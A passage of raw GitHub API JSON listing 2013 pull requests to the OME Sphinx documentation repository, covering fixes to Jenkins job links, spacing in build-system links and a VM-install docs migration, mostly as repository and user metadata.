233/comments"}},"title":"Virtualjob extlink (rebased onto develop)","state":"closed","number":233,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/233","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:rebased/develop/virtualjob_extlink","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"1963ddb2b0e4650ec5859d40103e052e1471b2e1","ref":"rebased/develop/virtualjob_extlink"},"assignee":null,"updated_at":"2013-01-28T20:36:45Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/233/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/233/commits","closed_at":"2013-01-28T20:36:44Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/233","merged_at":"2013-01-28T20:36:44Z","merge_commit_sha":"eb33f32f962ebb8ea76d0b77d90543b8bdf31d84","created_at":"2013-01-25T10:44:40Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/233/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/233.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/233","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-229 but rebased onto develop.\n\n----\n\nThis PR should fix the link to the latest succesful `.ova` file in the virtual appliance documentation.\r\n\r\nAt the current HEAD of this branch, I have\r\n```\r\nsbesson:sphinx sebastien$ git grep -E \"\\-trunk\"\r\nREADME.rst:By default, the OMERO job is set to ``OMERO-trunk``. To specify a different \r\nconf.py: jenkins_job = 'OMERO-trunk'\r\ndevelopers/Cpp.txt:- :jenkins:`Windows Server 2003 (32 bit) `\r\ndevelopers/Cpp.txt:- :jenkins:`Linux `\r\ndevelopers/Cpp.txt:- :jenkins:`MacOSX `\r\ndevelopers/continuous-integration.txt: * :term:`OMERO-trunk`\r\ndevelopers/continuous-integration.txt: * :term:`BIOFORMATS-trunk`\r\ndevelopers/continuous-integration.txt: :jenkinsjob:`BIOFORMATS-trunk`\r\ndevelopers/continuous-integration.txt: :jenkinsjob:`OMERO-trunk`\r\ndevelopers/release-process.txt: - See: :jenkins:`job/OMERO-trunk-components`.\r\ndevelopers/release-process.txt:- Rename \"\\*-trunk\" jenkins jobs to \"\\*-\"\r\n```\r\n\r\nAll the `*-trunk` links present in the developers/continuous-integration.txt page are expected. The only leftovers are the `OMERO-trunk-components` links. Once this job is green again and copied on to the stable branch, I will implement the same strategy as the one in this PR and create a `componentsjob` alias.\r\n\r\n/cc @joshmoore, @hflynn\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/233.diff","id":3837341,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"0376ea24dedc227a6ef76da4cb5978c431aadfee","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/232/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/232"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/232"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/232"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/232/comments"}},"title":"Remove extra spaces on build system links.","state":"closed","number":232,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/232","head":{"user":{"type":"User","url":"https://api.github.com/users/mtbc","received_events_url":"https://api.github.com/users/mtbc/received_events","login":"mtbc","events_url":"https://api.github.com/users/mtbc/events{/privacy}","organizations_url":"https://api.github.com/users/mtbc/orgs","avatar_url":"https://secure.gravatar.com/avatar/dd3abf4ce82fd7321089540d5ff28796?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/mtbc/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/mtbc/gists{/gist_id}","gravatar_id":"dd3abf4ce82fd7321089540d5ff28796","followers_url":"https://api.github.com/users/mtbc/followers","id":2630707,"repos_url":"https://api.github.com/users/mtbc/repos","subscriptions_url":"https://api.github.com/users/mtbc/subscriptions","following_url":"https://api.github.com/users/mtbc/following"},"label":"mtbc:small-typos-dev","repo":{"forks":0,"svn_url":"https://github.com/mtbc/ome-documentation","merges_url":"https://api.github.com/repos/mtbc/ome-documentation/merges","languages_url":"https://api.github.com/repos/mtbc/ome-documentation/languages","assignees_url":"https://api.github.com/repos/mtbc/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/mtbc/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/mtbc/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/mtbc/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/mtbc","received_events_url":"https://api.github.com/users/mtbc/received_events","login":"mtbc","events_url":"https://api.github.com/users/mtbc/events{/privacy}","organizations_url":"https://api.github.com/users/mtbc/orgs","avatar_url":"https://secure.gravatar.com/avatar/dd3abf4ce82fd7321089540d5ff28796?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/mtbc/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/mtbc/gists{/gist_id}","gravatar_id":"dd3abf4ce82fd7321089540d5ff28796","followers_url":"https://api.github.com/users/mtbc/followers","id":2630707,"repos_url":"https://api.github.com/users/mtbc/repos","subscriptions_url":"https://api.github.com/users/mtbc/subscriptions","following_url":"https://api.github.com/users/mtbc/following"},"open_issues":0,"updated_at":"2013-01-29T21:32:59Z","milestones_url":"https://api.github.com/repos/mtbc/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/mtbc/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/mtbc/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/mtbc/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/mtbc/ome-documentation/events","notifications_url":"https://api.github.com/repos/mtbc/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/mtbc/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/mtbc/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/mtbc/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/mtbc/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/mtbc/ome-documentation/collaborators{/collaborator}","full_name":"mtbc/ome-documentation","ssh_url":"git@github.com:mtbc/ome-documentation.git","pulls_url":"https://api.github.com/repos/mtbc/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/mtbc/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/mtbc/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/mtbc/ome-documentation/subscription","teams_url":"https://api.github.com/repos/mtbc/ome-documentation/teams","watchers":0,"created_at":"2012-10-23T10:27:15Z","git_url":"git://github.com/mtbc/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/mtbc/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/mtbc/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/mtbc/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/mtbc/ome-documentation/keys{/key_id}","size":268,"compare_url":"https://api.github.com/repos/mtbc/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/mtbc/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/mtbc/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/mtbc/ome-documentation/hooks","fork":true,"html_url":"https://github.com/mtbc/ome-documentation","master_branch":"develop","clone_url":"https://github.com/mtbc/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/mtbc/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/mtbc/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/mtbc/ome-documentation/issues/events{/number}","private":false,"id":6350485,"default_branch":"develop","pushed_at":"2013-01-29T08:26:06Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/mtbc/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/mtbc/ome-documentation/forks"},"sha":"3809650dde2f205226bab426f2a57e3727c4fe87","ref":"small-typos-dev"},"assignee":null,"updated_at":"2013-01-29T21:32:59Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/232/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/232/commits","closed_at":"2013-01-29T21:32:59Z","user":{"type":"User","url":"https://api.github.com/users/mtbc","received_events_url":"https://api.github.com/users/mtbc/received_events","login":"mtbc","events_url":"https://api.github.com/users/mtbc/events{/privacy}","organizations_url":"https://api.github.com/users/mtbc/orgs","avatar_url":"https://secure.gravatar.com/avatar/dd3abf4ce82fd7321089540d5ff28796?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/mtbc/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/mtbc/gists{/gist_id}","gravatar_id":"dd3abf4ce82fd7321089540d5ff28796","followers_url":"https://api.github.com/users/mtbc/followers","id":2630707,"repos_url":"https://api.github.com/users/mtbc/repos","subscriptions_url":"https://api.github.com/users/mtbc/subscriptions","following_url":"https://api.github.com/users/mtbc/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/232","merged_at":"2013-01-29T21:32:59Z","merge_commit_sha":"2d3d61714b3bed58d0de65ea5d5eb5a4ee73e70b","created_at":"2013-01-24T17:09:14Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/232/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/232.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/232","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"Rebase of https://github.com/openmicroscopy/ome-documentation/pull/230 from dev_4_4 to develop.","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/232.diff","id":3823956,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"c91ecbb2eaae790ff37d5ba42bd87f34f183c51c","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/231/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/231"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/231"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/231"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/231/comments"}},"title":"Migrate the VM installation instructions to the Sphinx documentation","state":"closed","number":231,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/231","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:VM_install","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/r